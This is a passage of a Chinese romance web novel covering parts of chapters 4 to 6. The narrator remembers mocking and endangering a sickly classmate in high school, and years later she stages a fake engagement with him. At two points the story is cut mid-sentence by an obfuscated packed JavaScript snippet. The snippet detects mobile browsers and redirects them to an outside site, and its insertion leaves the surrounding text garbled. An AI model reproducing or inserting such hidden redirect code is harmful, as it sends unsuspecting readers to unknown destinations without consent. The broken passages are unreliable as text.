“谢谢你！”我必须装作很受馈赠的样子，还要表现出适当的惊讶。之后，我还要和走过来同我聊天的朋友提及这件事，说他有多么好。因为他是个不受欢迎的人，他几乎不与人同行。 这是我观察到的思想者。 事实也正如我想得那样，黎玉钟，孤僻、胆小，即便是偶尔被老师点起来回答问题，或者有同学找他说话，他的音量也比我见过的所有人都小。然后，他还咳嗽，捂着嘴轻轻地闷咳。 他还是个男生吗？ 我常常怀疑。 直到目睹他和其余男生一样走进男厕所，我才打消了这个念头。彼时正是第一个学年的体测，作为体育委员，我要监督每一位同学跑操。早春时节，将暖还寒，呼出的气透着沸喉的凉。 黎玉钟向班主任递交的申请里，如果身体不适，可以停止一切对心肺有负担的活动。我觉得没那么过，我看到过他在宽阔的场馆里打羽毛球，他能跑，我认为能，所以，当他跑完一圈气喘吁吁地停下脚步时，我吹哨，严肃地催促他。我承认我有奚落他的意图，“动起来啊。” 他显得有些艰难。 我拍了拍手，“动起来，动起来。” 结果就动出事了。 当时还没觉得有什么，因为大课间跑完就要回班，走进教学楼，楼梯上是堵着的，班上也没开窗，闷得乌烟瘴气的，特别是人流汗又喘气的。黎玉钟虚弱地趴在桌上，挡住我进去的路。 我轻咳了两声。 他就像没有听见。 所以我又重咳了两声，轻轻地踢了踢他的桌角。他缓缓抬起头来。在还未看清楚他的脸时，我的确在想，他有可能为了报复我让他受罪，故意不搭理我，不给我让座。是有这种人。 但很快，我不这么想了。 他的脸色太差了。 他的脸， 红透了。 那红晕由于出现在他过分苍白和削瘦的脸颊上，像是油彩涂抹上去，像给他上妆。他深深地蹙着眉头，额头上满是薄汗，惊慌，无措，用校服袖子蒙住鼻唇，就着一点点的缝隙呼吸着。 “怎么了？”我问。 哪有人那么夸张？跑两步就不行了。至此我还觉得黎玉钟在惺惺作态，哪个人呼吸不过来，还能维持如此斯文的表情。他也摇了摇头，一只手撑起身，给我让座，但很快又倒了回去。 我吓了一跳。 我大喊，思想者晕倒了！立刻有人来围观，我感到很不安，然后班主任来了，急匆匆地赶到黎玉钟身边，摁住他的肚子，帮助他呼吸。然后又从他的课桌里拿出一个很大的牛皮纸袋。 黎玉钟的下半张脸都被纸袋遮掩住，他无意识地眯起眼，看起来离死不远了。我手指不知不觉已经凉透了，紧紧地掐进掌心。那一刻我把所有最严重的事都想了一遍，我恐怕要完蛋了。 难不成我也背上人命了？ 好在，没有。 班主任很生气，问班长位置到底是怎么排的，他再三强调了要让黎玉钟坐窗边，不能仅仅是“靠窗的位子”。班长说就是那样排的，但是她瞥了我一眼，又改口，“可能是不小心弄错了。” 我顿时面红耳赤。 “黎玉钟的身体有问题，很容易咳到喘到，必须呼吸新鲜空气。我让你们经常开窗，我说了没有？”班主任又严厉地走到我的桌子前，翻开练习册，看到我的名字。他没那么凶残了。 “李君同，你下节课跟他换回来。” 班主任说的是“换回来”，我猜他很有可能知道我擅作主张了，但是为了给我留一份体面。血液渐渐从面庞涌向四肢，我说，知道了。他又问其余同学，黎玉钟大课间做了剧烈运动没。 “他跑了两圈。”有人说。 “谁让他跑的？”班主任又严厉起来。 所有人都齐刷刷看向我。 我说：“是我，老师，对不起。” 他略微问责，“你不知道黎同学有身体问题？” “我不知道。”我咬着嘴唇。 黎玉钟很虚弱地开口：“老师，是我没和体育委员说清楚，我当时觉得自己身体没问题。” 他说话的声音其实很小，因为刚喘匀气，更是断断续续。但班上太安静了，就显得很有份量的样子。我表面上松了口气，心里厌恶地道，既然他有病，就应该和我说呀！害我被批评！ 我那么要面子的人。 “你觉得，你觉得！”班主任也有点愠气，能理解，如果出了那样的事，谁都没办法负责。他对待病患的态度更加恶劣，“你自己应该最清楚自己的身体，是什么状况，平时该怎么样！” “……对不起，老师。” 他又转向我： “对不起。” 这件事就此告一段落。 我的良知告诉我，他已经很可怜了，并不需要向谁道歉。其实我的怜悯心不是特别重，走在路上看到流浪的小猫小狗，我从不蹲下，而是目不斜视地走过去。我天生匮乏一定的善意。 即便如此，当我虚弱的同桌，刚结束他和鬼门关的拼搏，那张沁润着薄汗的脸，疲惫，腼腆，又满怀愧疚，除此之外，好像是束手无策的平静。搞什么，我心灰意冷，我真是倒霉透了。 我没必要同情他。 我干嘛要和他坐同桌？害得我被班主任那样“警告”，从小到大没有人出格地对待我。我下节课立刻闷着脑袋换座位。我采取的是直接搬书桌的方式，他要挪自己的桌子，我立刻抬声： “放下！” 他愣了愣，手指慢慢地从他坚硬的桌沿，松懈开。我用我已经能维持的，最友善、最理智的嗓音，我说：“你的身体都虚弱成那样了，我不好意思让你搬桌子，免得又出了什么意外。” 我想他一定读懂了我的言外之意。因为他讷讷地挪开他的手。那是一双骨节分明、血管明晰的手，我的手由于刻意降低体脂率，已经有点浮夸了。但是黎玉钟比我有过之而无不及。 他低声说：“……不是身体原因。” “什么？”我有些不耐烦。 “我是，过呼吸症，有时候太激动，或者情绪，”他结结巴巴地解释，“情绪不好，才会……” 我蹙眉：“你的意思是，因为我让你跑步，你情绪不好，所以才那样？还是我踢了你的桌子？” “不是！”他有些急切，“我很少能跑完两圈，在规定时间。因为害怕自己没做到，很紧张。” “你是因为紧张才犯病了？” 我觉得我这么说有点没礼貌。但他看起来一副小心翼翼的样子，想必也没资格觉得，他肯定不想得罪我，因为我在班上人缘非常好。而且他这样的病秧子，肯定从小到大没什么朋友。 他肯定很孤独。 我就不一样，我受欢迎，同学们都喜欢我，老师也偏爱我。自尊心于这时候的我，是得不到就会咬牙切齿的东西，我为此准备了充沛的表演欲。我担忧地说：“难怪，一定很不容易吧。” “……嗯。”他看起来有点高兴，因为我的理解。我虚假的理解，他当真了，真可笑，我可一点都不同情他。他又说，“其实我的身体，真的没问题，还有，可能当时班上人太多了……” 行了，我没兴趣听他讲他的那些事，别把随手施舍的善意当作结交的信号。我不动声色地将座位换好，就起身去接水了。在接水的池子那里，有别班的人来问我，黎玉钟晕倒的事情。 传得这么快。 我有点反胃，好事不出门，坏事传千里。千万别说是我刁难他，不让他停下来休息什么的。我做贼心虚地打听了几句，好在没人那么想。把自己撇干净，我的名声，还不想变得糟糕。 这是我唯一珍惜的东西。 - 相安无事地度过这半个学期吧。 等下个学期，换座位，我保准不会和黎玉钟再同桌了！尽管他学习成绩很好，并且性格上也不怎么会拒绝人，是完全不会拒绝。这种傻子，我和他没有共同话题，我的快乐和他不相通。 浮躁的年纪，连校服的领口、袖口和裤腕都要讲究的年纪，脸上长了几颗闭口，一清二楚。杜绝了涂脂抹粉，就在别的地方钻研心思，眼睛，手表，鞋子，牌子货，拗口的读不出的。 我穿过A货。 朋友圈里，新货发成九宫格，价格比它象征的意义要便宜许多。大部分人的眼界就在那里，没人分辨得出来，分辨得出来的人，八成也不屑于去指正。我得以营造出家境不差的假象。 然后，踩着硬硬厚厚的篮球鞋的底子，在操场上转圈，挽着朋友的手，谈论某个惹人讨厌的教导主任，某个最近在年级里出名的人物，当然，肯定有男生。无非是少女时代的调剂品。 八卦满天飞。 深知越漂亮的人，越要和异性保持好距离，否则就会成为同性的公敌。我选择“投靠”女生阵营，对异性的示好敬而远之，这往往受到褒奖，一些女生肯定了我，因为她们讨厌的同性样貌不如我，偏偏和男生们的关系要好，她们就会说：“李君同那么漂亮，都不像她那样！” 好像我很检点。 不是。完全不。我比她们想的要更关注男生，并且，一定要表现得更不屑一顾。这符合我的脸蛋，我营造的人设。我苦心经营，希望它讨喜一些，再讨喜一些。就像写一本虚拟小说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808379|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的笔尖是心惊胆战的汗水。 非必要的情况下，我不对任何一个人袒露心扉，哪怕是再亲密的同性。哪怕是和我用上情头的闺蜜，上厕所接水都要一起，也不会。如果要被窥探，我心想，最不愿意的就是被熟人。 我还遇上一件很麻烦的事。 冬季趣味运动会，很多新项目，高一和高二都搞。我作为体育委员，负责报名。在双人羽毛球的赛事上，我们班只有一个有意愿，并且有资格参加的男生。另一个，则被我严厉回绝了。 “你不能报。”我说。 黎玉钟难得的，表现出想与我争辩的态度：“我可以的。我的身体没问题，而且，都说好了。” “什么说好了？”我问。 如我所料，他说另一个报名的男生。我几乎想笑：“我要的是，你和你家里人说好了，你和老班说好了，你和你搭子说好有什么用？再说了，真出了什么事，谁能负责？你能负责吗？” 他说：“班主任说我可以上去打，就当成平时去打，别当作比赛。一觉得累，换下来就好了。” “那你家里人呢？” “都说好了。” 我沉默片刻，“不行。” 生怕他觉得我不可理喻，我大声说：“就你这个身体，哪里敢让你上阵杀敌？去后方呆着！” 我经常作为黎玉钟的嘴巴。自从那件事之后，我算是长了记性，体育课上老师问他怎么不跑，我大声说，老师他身体有问题。要搬书，换座，大扫除，我也带着“善意”地阻止他干活。 渐渐的，班上的人也默认了他是孱弱者，是需要保护起来的角色。我不需要做什么，我做我该做的事情，剩下的，别人怎么理解他，是他的事。不过他确实处理不好自己的人际关系。 他的病，很碍事，让人关护他，在这个基础上，再敬而远之。可以想象他初中三年，小学，甚至幼儿园，别人可以尽情大闹推搡的时候，他是怎么过来的。他像一个易碎的玻璃娃娃。 没人想接触他。 也难怪他有意隐瞒。 这一切统统不关我的事，可谁能想到，报名没成，他竟然有点迁怒于我。其实运动会都过去好久了，我原以为这事都过去了。一个生物课的晚自习，大家再次开起他“肺喘者”的玩笑，顺带一提，这个外号也是我起的，但我以为他没什么意见，毕竟他从未就此发表任何意见。 趁着我去办公室交卷子，他也跟过来，在半暗的廊道里，他说：“能不能别给我起外号了？” “为什么？”我不觉得过分。 他低下那张柔弱的脸。 “就是……不喜欢。” 你不喜欢，呵呵，你不喜欢的事情多了去了。就连我不喜欢的事情也多了去了。但是我比你要高贵，在那时的我的价值观里，足够受欢迎，花团锦簇，没有一个女生或男生对我摆脸色。 我不是只对他一个人开玩笑，也许我有带头作用，引导别人说什么话了。但是，是我的错吗？那些盲目被我的言语逗乐的乌合之众，那些一只一只往我指的地方跳的羊群，它们没有错？ 他为什么只对我说？ 我想了很多个理由，我通常以不亚于自己的恶毒去揣测他人，我的身上一定是带着锐刺的，我自己都能感受出来。其中一个理由，他误把我认为人群中最善良、最好说话的人了，对吗？ 他把我当作最好欺负的那个。 我就问：“你怎么不和别人说去？” 他愣了愣，随后，局促地捏紧他的校服袖子。我想起他以这块布料掩住过口鼻，在被洗衣液焕然一新之前，肯定沾染了他的喘息、痛苦和口水。他总是很容易变红的脸颊，很像玫瑰。 他说：“我把你当作……” 操。 不是吧。 他千万别说那个词！ “不是！”我立刻说，“你想多了！” 说完我就退后，生怕沾染上什么脏东西。其实我应该按步骤来，拒绝别人的示好总是有一套步骤的，首先表示感谢，再适当地抬高别人和贬低自己，然后说出那句不合适。我理应如此。 这算是我的失态。 我飞快地解释：“我跟别人解释你身体不好，就是怕你再出什么事，我是体育委员也要负责。我不想班主任说我，更不想别人说我，就这么简单。还有，既然你不喜欢，我以后不会了。” 我用的“喜欢”这个词，因为我也误会了：我以为男生会热衷于被我这种受人欢迎的女生开玩笑呢，因为每当我皱着眉头，冷笑着调侃他们，他们总伴随着呆滞的、欣喜难挨的笑容。 切。 不识趣。 难怪他不受欢迎。 真没意思。 在这之后，我和思想者就没交集了。 家长会快到了，我着急找一个能扮演的人，花了八百多块。找到学校附近一个火锅店的老板，我就说我家里人都在外地，来不了。他觉得我是小姑娘好面子，我穿着校服，没什么好骗他。 我跟他说，不用说什么话，开完会签个字就能走人了。我说我爸的名字时，脸上泛着烫意，生怕他知道那是谁，好在他应该不知道。多年前，在工地上砍人，然后还上电视的那一个。 我不知道他和工友发生了什么，反正他被关进去了，我妈也二婚了，不常来看我。没跟我爸说家长会的事，我一上小学他被关进去，我被人笑话六年。初中在一个区，转不了别的地方，还是那些熟面孔，我没能交到朋友，我抑郁得要疯掉了，所以高中我特地到另一个区的学校。 我没想到他找了过来。 当时还下了很大的雨，他执意要进我学校，我把他往旁边的巷子里推。他问为什么不让，我说谁家人能让，你别去给我丢脸了。他扯着嗓门说，我给你丢脸吗？我说对，你个杀人犯！互砍怎么没砍死你呢？他扬声说当时又不是他的错。我不是和他争这个的，我说，让他滚。 他给了我一巴掌，就走了。 神经，神经病，如果不是怕被同学看到，我早就从后面骑上他的肩膀，指甲撕开他的头皮，把里面的东西抠出来扔进下水道里！我红着眼眶，狠狠地咬住唇，额发的雨水滴进眼睛里，冰冷，刺骨。我懊恼地抹了把模糊的眼，视线里突然出现一把伞，我一抬头，看见黎玉钟。 一瞬间，自卑贯穿了我。 我如遭雷击。 我狠狠拍开他递来的伞。 “你装什么好人？” 伞砸在地上，溅起一地的水花。我粗重地喘息着，克制自己冷静下来。眼前再次被黑色覆盖。 他再次，将伞塞进我的手里。他的指骨并住我的手背，尝试缓缓攥紧。伞柄是坚硬而温冷的。我闭了闭眼，再睁开时，温暖莹亮的吊顶灯光，周遭有掌声，指骨上坚硬的触感，我垂眼。 黎玉钟将订婚戒指戴在我手上。 5. Chapter 5 我片刻的失神。 很快就反应过来，出于我完美的职业素养，低头，轻轻地在那枚有他气息的订婚戒上吻了一下。 明智的选择。 这样就避免了交换戒指后，众人起哄“亲一个”“亲一个”的窘境。我长久地吻在戒面上，补过一次的口红让我的嘴唇干燥而粗糙，他的指缝，我好像埋在里面，像蜗牛缩进壳里。 我在渐熄的掌声中抬起头来。 和黎玉钟对视，他的眼神很平静，和许多年前差不多，唯一有变化的是，有关胆怯的那部分特质似乎消失了。其实那是我最喜欢的东西，那是为数不多能证明他是我留恋的人的痕迹。 他率先朝我伸出手。其实我们之前彩排过，在空旷的会客厅里。我充当导演、动作指导还有女主角，他听我的指挥，需要张开他的双臂，我贴住他的胸膛，很快离开，说，就是这样。 我没怎么仔细听他的心跳声，因为我需要顾虑的东西太多，我的心思，我不能叫他发现了。还有，今天他其实打扮得很帅气，这件枪驳领的西装折出他的冷峻，被岁月磨砺得很可观。 我没有意外， 他迟早会成为坚硬的人。 尽管他曾经柔软得就像一片棉花。我平静地侧过头去，朝每一位来宾微笑。端起酒杯，分头行动，直到散场后，才有机会从紧密的伪装里喘上一口气。黎玉钟轻轻地拍了拍我的肩膀，将我在更衣间的外套披在我的肩头，问我要回家吗。我说我打车就好，他说让司机先送我。 在等司机挪车过来的间隙，我点上一根烟，余光瞥见他也在点。我比第一次见到他抽烟更想问，他察觉到我的好奇，指尖叠着烟，对我说：“我的病好很久了，而且本来就和身体无关。” ……嗯。 我也知道的。 抿了一口，我状若无意地问：“什么时候好的？” “工作之后吧。可能规律的生活方式更适合我，比起在学校里，和人打交道。那时候也不懂。” 我快乐地说：“你那时候确实不懂！” 想起那时候的黎玉钟，那时候，我和他之间发生的事，原来还是美好的居多。所以，我猜测他对我的感情也有几分厚度，当然，不是爱情上的。这样反而很好，我比任何时候都更自在。 我那时候怎么想的呢。 为什么要喜欢他？ 也不懂。 我若有所思地盯着自己的指间，一块祖母绿宝石的戒指，它的价值是多少，这我实在不清楚。之前有幸出席过一场来宾都叫得上号的活动，一位女星也戴的这个种类的赞助品，质感很顶。 关于戒指，我以为只是一个很普通的素戒，而非这么宝贵的东西。话又说回来，这些天我只按照自己的想法来，编排剧本，恪职演绎，我忘了一件很重要的事，结婚，意味着财产关联。 “对了，你要抽时间拟一份婚前协议了。”我说，“因为只是扮演，所以最好先做财产分割了。” 他点掉烟灰，“知道了。” “办婚礼之前，还要抓紧把证领了……”我低头看日历，他说他来预订日子，好，我收回了手机，咬住烟嘴，将冻得有些失去直觉的左手放进口袋，又缓缓地转动右手腕，防止它失温。 口袋里探进另一只手。 我穿的风衣，口袋很宽敞，但再容纳一个男人的手，就显得有些逼仄了。我略带诧异地看向他，黎玉钟脸上的表情生动了一些，有两粒雪飘在他的眼睫毛上，下雪了，现在吗？真早。 余光瞥见走过来的黎母黎父。 因为这个吗？好吧，他临时发挥得真不错。我贪婪地握紧他温热的手，指腹抵住他的掌心。其实他的手说不上多暖和，但出于我隐秘的私欲，使我悸动的，是他扮演之下我出格的真心。 “一道回去啊？”黎母问。 黎玉钟：“我先把君同送回去。” 黎父适时扯走她：“人家年轻人啊，没那么容易累着，才几点，夜生活很丰富，你别瞎操心。” 不，我已经很累了。 太久没穿高跟鞋，小腿已经有点不适，天气也冷得我随时可能抽筋。好在司机把车开过来了。我和黎玉钟上了后座，我顾不上别的，就着暖气，迫不及待脱下高跟鞋，脚踩在皮革坐垫上。 “好受多了。”我说。 他让司机把暖气调高几度。 有外人在，就不好聊扮演相关的事宜，我本来还想复盘今天的表现呢，我觉得我演的不错。聊了一会儿来宾的事，有哪些会正式地出现在婚礼上，我需要认人，算了，我需要歇会儿。 我裹着毛毯睡到家门口。 醒来时，我依靠在身侧人的肩膀上。我第一时间没有睁开眼睛，不动弹，贪婪地呼吸着他的气息，清润的，一股熟悉的薄荷茉莉香，他身上除了烟草味，只有他常用的洗发水的味道。 我像一只窃取蜂蜜的棕熊，我任由这份意外的惊喜。我的骄傲不允许我表现得像占了便宜，我撑起眼皮，用余光去扫他，他平静地闭着眼，均匀地呼吸。黎玉钟。我心想，逮住你了。 时隔了很多年啊。 还有再在我面前睡着的样子。 这些年，我没有刻意去关注他，没有特别耗费心力惦念他，但他的消息总能传到我的耳朵里，我绝非，有意去打听。更何况我也不是那么痴情的人，我也交了男朋友，前段时间才分手。 我很花心吗？ 我从没有真正放下过黎玉钟。 我也是才意识到。真的。有的人，如果不故意去揪住他，往往就淡漠在记忆的尘封里，但那不意味着消失。潜意识之下的巨大冰川，内心是一面湖水的镜，望进去，曾经的爱依旧鲜活。 我的心，因为这位老朋友悸动。 而我还需要扮演他的妻子。 鬼使神差，我想到： 我如果再次偷吻他呢？ 这事很久没做了，很多年没做了。我如果那样做，就等于重拾了那时候的我。那时候的李君同啊，单薄、倔强，维持着没什么用处的骄傲，那并不能使她更充实，却是她唯一拥有的，可以牢牢把握在手里的东西。我现在做的一切算什么，替从前的我圆梦？我有那么爱她吗？ 是的。 我无需壮着胆子。十八岁的黎玉钟是十八岁的李君同的，而如今二十七岁的黎玉钟，是属于二十七岁的我的。我是对待自己的所有物。我贪婪地凑近他。我的心脏如白鸽跳出禁锢的窗。 突然—— “砰砰砰！！” 我吓了一跳，黎玉钟也醒了过来。他睁开眼，我还在他零点几毫米的距离，就快要吻上了，我去！为什么？谁干的好事？如果他睁眼的时候，我正好亲上去，那就干脆将错就错好了，我说我喝醉了，第二天再装死装失忆不承认，总有办法的。可为什么我还没亲上，就被他发现了啊？那我就既没有享受到，又要忍受他为此而产生的尴尬、窘迫，一系列难应付的情绪。 烦死了！！ 砰砰砰。拍车窗的声音还在继续，到底是谁啊，路过的酒鬼吗？这里的酒鬼只有我一个就足够了。我冒着火气。黎玉钟先我一步，伸手摁下车窗，我看清这个可恶的人的脸。我愣住了。 是池建生。 我问：“你为什么会在这儿？” 他说：“你先下来。” 我于是重新穿好鞋，打开车门走下去。司机不知道去哪了，也是，估计都凌晨了，我烦躁地挠了挠头发，我问池建生，这么晚出现在我家门口有什么事。他没说话，一把抬起我的手。 他目光如炬，下颚绷得死紧。 我顺着他满含怒意的视线，看向自己的左手无名指。然后我又抬头看他：“你有话就直说。” 他握住我的手腕，很用力，太用力了，“你订婚不跟我说？我还是通过你高中同学知道的。” “我有必要和你说吗？”我蹙眉。 他气急败坏，那双漂亮的桃花眼里氤氲水汽，“你搞无缝衔接是吧？你和我分手才有多久？” “两个多月。”我就回答。 他说：“五十九天！！” 啊，行，没错。我顺着他的话，五十九天。他沉默了，因为我无所谓的态度。半晌，偏过头，死死盯着半开的车窗。“你和谁这么晚还在车上？你现在的对象？啊，你未婚夫是吧？下来。” “你是有毛病吧。”我冷冷地挡在车窗前，“你对我有意见，就事论事，和他有什么关系？” 他说：“我有毛病，对，大半夜蹲在你家楼下，下着雪，眼巴巴等你，你和他在车上腻歪。” 还没腻歪上。 说这个我就来气。 “你有什么好眼巴巴的，你有你自己的圈子，去和他们玩。我最近事很多，我真没空……” “李君同！”池建生眼眶都红了，“你人怎么这样？好了快七年了，你说断就断，你算什么？” “你同意了。而且不都过去了？”我着实烦躁，“我真有点。你没事的话，过段时间再说。” 他浑身都在颤抖：“说什么？我那时候是气话，我说气话你不是一直都知道吗？你有压力，我就没有？我混得不比你好多少！但我有在尽力解决啊，你一天到晚自己闷事，有意思吗？” 我平静地：“我没要求你解决。” “那你自己能处理得好吗？”他有点语无伦次，“你也管管我行吗？啊？就把我撂到一边，每次遇见点事都这样！我是不懂你，你突然订婚到底要干嘛？你就没对我有一点点舍不得？” “……我以为我们结束了。” “但没有！！”他大吼，“没有！” 我不是来和他吵架的。身后，始终有一道缄默的目光关切注视着我。我也不想让黎玉钟看我的笑话。这么多年过去，我维持那份骄傲，在他面前。我像断了脊梁骨也要昂起脑袋的军人。 “那你想错了。”我推了推他，“我们结束了。成年人，体面点，别让不相干的人看你的笑话。” 我以为我的冷静和理智能浇灭他的怨气，我想多了，一个无情的女人，反而使男人歇斯底里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808380|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他攥住我的肩膀，“我不想体面！李君同，你没完了，你过分了，我没有和你好的时候吗？” “啊。”我僵直着，缓缓扬起一抹嘲讽的笑容，“所以，你说还不如分手，我以为没好过呢。” “我那是气话！！” “但我不是因为气话。”我冷得牙齿都在打颤，却要努力把话说清楚，“我觉得很没有意思。每次，周而复始，你发脾气，然后你道歉。我已经索然无味了，跟你在一起，我不高兴。” “那是因为你从来什么都不说！” “你了解我吗？”我扩大那抹笑容，“你，每次，哄两句，上个床。你知道我心里想什么吗？” “你跟我说我不就懂了吗？” “我没说吗？” 我反问。 “你什么时候说了？！” 我的， 骄傲啊。 没用的自尊。 有些是说不口的。就像人不会把藏在心底最深处的东西说出来，就连写在日记本上，也不行。最深刻的东西是写不出来的，用任何语言都无法描述。说出口，舌头会烂掉，嘴巴会生锈，就像吞了刀片。说出来，就是生生咽下去的过程。我的自尊，我的爱，凌迟鲜血淋漓的我。 我死也不会说出我的心事。 就像我多年前对黎玉钟的暗恋， 永远说不出口。 我说：“我未婚夫还在车里面。” 我让他走，真的，别不要脸。 但池建生和我太像了，他的自尊，他出色的容貌，他平庸而不甘落寞的抱负，以至于我看到他的第一眼，接触过的第一个瞬间，就知道，他和我是一样的人。两条狐狸是能嗅出彼此的臭腺的，我当然有很爱他的时候，依偎在一起，浓情蜜意。我曾经觉得和相似的人相爱很好。 如今看来，太恶心了。 我相当能理解池建生，池建生就像我一样要脸面，太要脸了，不能吃每一分面子上的亏。他于是发了狠，报复似地将我扣在怀里。低下头。我的心尖泛起一簇簇凉意，还有一股诡异的。 玩味感。 下一秒。 我被一股大力扯开。 黎玉钟从我身边擦过去，一拳揍在池建生的脸上。我僵直在原地，有种自己在做梦的幻觉。 黎玉钟。 这个人。 不大声说话，不表现过激的情绪，不对人凶狠。以温和的心态解决所有事，或者不能解决的。我见过他的眼泪，没见过他的拳头，这不亚于一头温驯的羔羊突然张开嘴，把人咬得血流。 我的心停了摆。 耳边嗡嗡的，明明被打的人是池建生，但我就像挨了一拳头。池建生也懵了，他被直接打倒在地，英俊的脸上的却有远大于愤怒的东西，是惊讶。他指着背对着我的黎玉钟，手指颤颤巍巍。 “是你，操，原来是你！” 我讶然：“什么，你们认识？” 池建生往地上啐了一口血水，死死地瞪着黎玉钟：“就是这个人，妈的莫名其妙，有一次我和我姐走在路上，就在咱们大学，我记得是我刚和你在一起的时候，他趁天黑着，把我揍了。” 什么？ 我说：“你被打傻了？” “他个臭屌，我忘了谁也不能忘了他！我以为是你的哪个舔狗呢，他揍完我还给我发个匿名短信，说我搞外遇，那是我姐，我搞鸡毛啊！我真不能碰到他，我碰到他肯定往死里搂他！” 我诧异地看向黎玉钟。 他背对着我，昏暗的路灯下，雪粒一点点摩挲着镜头。朦胧的弧光顺着他的轮廓生长，我的耳边有更大的噪音，听不见任何人说话。我的心跳声在疯长，意识到，有什么将变得不同了。 黎玉钟转过头。 他依旧是， 依旧是那样的黎玉钟，表情很淡漠，那双和发色一样清浅的瞳仁，线条直白的鼻梁，嘴唇。岁月没怎么改变他。我倾向于认为他是我记忆中的他。如今发现有偏差，我感觉有什么东西被撕裂开，在我和他之间。我没时间处理那么多信息了。他抿了抿唇，带着点莫测看向我。 我心跳如擂。 他说：“你先上楼，我处理。” 我竟然，我平时一个最烦别人指挥的人。但我实在懵了。我走进楼道，声控灯亮了，苍白而冰冷的色彩，隔绝了外面的风雪。我这些年在干什么？我反思着，抬手砸了一下自己的脑门。 机械地输入门锁密码，全凭依赖的本能。我走进家里，关上门，泄了力气，靠着门坐下来。身上是湿漉漉的，风雪垂落在发梢，我缓缓地抬手掩住面颊，好烫，我的脸，好冷又好烫。 我不明白这意味着什么，发生了什么。我只是下意识地松了口气，原来我刚才一直克制呼吸，可能大脑宕机了，处理不过来。我把热汽呼在指缝之间，填满了我。湿漉漉的我，软的我。 好吧，我在心里庆幸， 至少有一件事我能确定： 从今晚开始， 我可以心无旁骛地梦见他了。 6. Chapter 6 坐在黎玉钟家的车上，我也尽量挺直脊背，让自己看上去不那么狼狈。我的脸，我抬起手，遮住它。被打肿的那半边脸，我很确定，就是肿起来了，麻得像被电过，一咧嘴——生疼。 这是一辆好车，有钱人家用来通勤的车子，我在网上背过车牌、车型，为了维持我见多识广的人设，不想在别人侃侃而谈时哑巴似。我爱慕虚荣，以我浅薄的见识去分辨哪些人是装富，哪些人是真富，我没想到黎玉钟这么有钱。他怎么不说，他要说了肯定不像现在这么孤僻。 同学们会爱他的。 不像老师说的那样，好的品行未必会被人记住，好成绩也只在考场前后才被人提及，但好的脸蛋，好的牌子，是你今天穿在身上，今天就有人来爱你的东西。我很清楚，我就是受利者。 真可惜。 黎玉钟不懂这个。 他有好的品行，心地善良，成绩斐然，家庭殷实。但他不表现出来，不状若无意地展示一下，啊，我家的司机开这辆车，他不那么说，又有谁会知道。他不懂得受欢迎的窍门，真愚蠢。 愚蠢的人对我施以援手。 我抿紧嘴唇，现在无关我的骄傲了，是更底线的，自尊。我的自尊是被抿在嘴里的一根线头，指望它穿过某个莫须有的针眼，即便把它仔细用口水润细，还是穿不过去，急头白脸难受。 好烦。 真不爽。 我接过黎玉钟递来的毛巾，兀自镇定，擦拭着头上和脸上的水渍。我肯定像一块硬邦邦的馒头，在他家长的眼里。那是个和蔼的老年人，她让我跟着黎玉钟喊她姥姥，问我家在哪里。 我说家里就我和我爸，我不想回去。我把“不敢”说成“不想”，她应该是看出来了，笑说那就先来我家玩一会儿吧。这个老太太还把我当作小孩呢，玩一会儿，和谁，和黎玉钟吗？ 你家孩子在学校里压根没朋友， 没人爱带他玩儿。 这些恶毒的话我当然说不出口，因为一想到我就被这么一个人接济了，我更抬不起头来。要不是知道黎玉钟的本性，我肯定以为他是为了打击报复我，故意来看我还会出什么样的丑！ 他干脆就那样恶毒得对待我！ 干嘛要管我？ 我对黎玉钟，没有半分的感激，全是“他就不该这么做”的嫌恶。正如当时他发病了，我在一旁像个傻子一样害怕，他去和老师说不关我的事。我怎么会因此感激他？他无论做什么都没办法得到我的原谅，还想和我交朋友，哼，他以为他是谁，我跟他玩，那不是自降身价吗？ 他有钱又怎么样，坐豪车又怎么样，要不是他撞见我的秘密，我绝对不会好声好气地对他和他家长说话。我为什么这么讨厌他，其实，我也不知道，我讨厌和我不像的人，我嫉妒他。 我嫉妒他吗？ 黎玉钟。 我嫉妒他明明可以融入人群，为什么不，为什么要做和其余人格格不入的事情；为什么大家因为某个有趣的事情笑时，他只是平静地低头看书，或者对着窗外发呆；为什么他从来不对我表现出谄媚，我那么大名气的人，每天都有人往我的书桌里塞东西，他却不对此评价什么。 他难道以为受欢迎很容易吗？ 我要做多少功课，多会察言观色，学多少调和矛盾的本领。属于我的团体里的人越多，我越要照顾好每个人的想法，防止人群对我产生意见。我越受到欢迎，一点东西越是能摧毁我。 完美的名声下，是极端易碎的人物皮套。我撒很多谎，每一个都是对原生的我的一种背叛。背叛越来越多了，真诚的东西就变少了，当我发现我想交付一些什么，却只有贫瘠的艳丽。 那个不用伪装。笑，像个受人欢迎的女孩儿，说些俏皮的漂亮话，把自己当成作品摆弄——他以为一个万众瞩目、人见人爱的女孩可以随便对别人交付真心吗？当他对我说是因为把我看作朋友才说这些，是，我被挑衅了。开什么玩笑，他都不了解我，凭什么敢对我交付真心？ 他知道做朋友有多难吗，知道我初中也试着像他那样，对别人坦白心扉，最后从我嘴里说出的那些字句，那些我最真实、最细腻的感受，最后又是怎样变成回马枪，狠狠地刺穿我吗？ 